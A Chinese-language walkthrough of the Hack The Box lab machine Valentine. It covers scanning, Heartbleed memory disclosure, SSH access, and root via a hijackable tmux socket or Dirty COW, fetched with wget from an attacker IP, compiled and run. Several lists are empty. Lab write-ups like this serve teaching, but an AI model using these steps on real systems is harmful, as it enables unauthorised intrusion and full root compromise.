Valentine是一台运行Ubuntu 12.04 LTS系统的HTB靶机,内核版本为3.2.0-23-generic。该靶机主要暴露了三个网络服务:
从Nmap扫描结果可以看出,这是一个典型的LAMP环境,但使用了较旧的软件版本。特别值得注意的是SSL证书的有效期(2018-2019年)暗示系统可能存在长期未更新的安全问题。
使用以下Nmap命令进行全端口扫描:
bash复制nmap -p- -sCV --min-rate 1000 10.10.10.79
关键发现:
使用Gobuster进行目录扫描:
bash复制gobuster dir -u http://10.10.10.79/ -t 100 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php
重要发现:
在/dev目录下发现关键文件:
Heartbleed(CVE-2014-0160)是OpenSSL 1.0.1到1.0.1f版本中的严重漏洞,允许攻击者读取服务器内存中的敏感信息。
利用步骤:
实际操作中发现,虽然获得了密码,但直接SSH登录仍存在问题。这是因为现代SSH客户端默认禁用了不安全的加密算法。
解决方案是强制使用RSA算法:
bash复制ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i hype_key_encrypted hype@10.10.10.79
成功登录后,在用户目录发现:
通过分析.bash_history发现root用户使用tmux的痕迹:
bash复制tmux -S /.devs/dev_sess
利用方法:
bash复制export TERM=xterm
bash复制tmux -S /.devs/dev_sess
这种方法之所以有效,是因为tmux的socket文件权限配置不当,允许其他用户访问。
作为备选方案,我们还可以使用Dirty Cow(CVE-2016-5195)漏洞提权:
下载漏洞利用代码:
bash复制wget http://10.10.16.14/40839.c
编译并执行:
bash复制gcc -pthread 40839.c -o dirty -lcrypt
./dirty
创建新的root用户:
bash复制su firefart
Heartbleed漏洞源于OpenSSL的心跳扩展实现缺陷。当客户端发送恶意构造的心跳请求时,服务器会返回内存中的随机数据,可能包含敏感信息如:
漏洞利用的关键是构造特殊的心跳包,指定超长的payload长度(如0x4000),诱使服务器返回内存数据。
Tmux使用Unix域套接字进行通信。当使用-S参数指定socket路径时,如果权限设置不当(如全局可写),任何用户都可以连接到该会话。最佳实践是:
Dirty Cow是Linux内核中的竞争条件漏洞,允许低权限用户修改只读内存映射。其核心是利用:
漏洞利用通常通过修改/etc/passwd或/etc/shadow文件来添加特权用户。
在实际测试中,我注意到Ubuntu 12.04这类老旧系统往往存在多个可利用漏洞。建议在获得初始访问后,立即检查内核版本和已安装软件版本,寻找可能的提权途径。
Q: 为什么使用获取的密码无法SSH登录?
A: 可能是由于SSH算法不兼容,尝试添加"-o PubkeyAcceptedKeyTypes=ssh-rsa"参数
Q: Tmux连接失败显示"open terminal failed"怎么办?
A: 需要先设置TERM环境变量:export TERM=xterm
Q: Dirty Cow编译失败如何解决?
A: 确保安装了gcc和libc6-dev,或者尝试其他预编译的exploit
Q: 找不到/dev_sess文件怎么办?
A: 检查ps aux输出,确认tmux进程使用的确切socket路径
Q: 如何防止此类攻击?
A: 定期更新系统、限制服务权限、使用最小化安装原则、实施严格的权限控制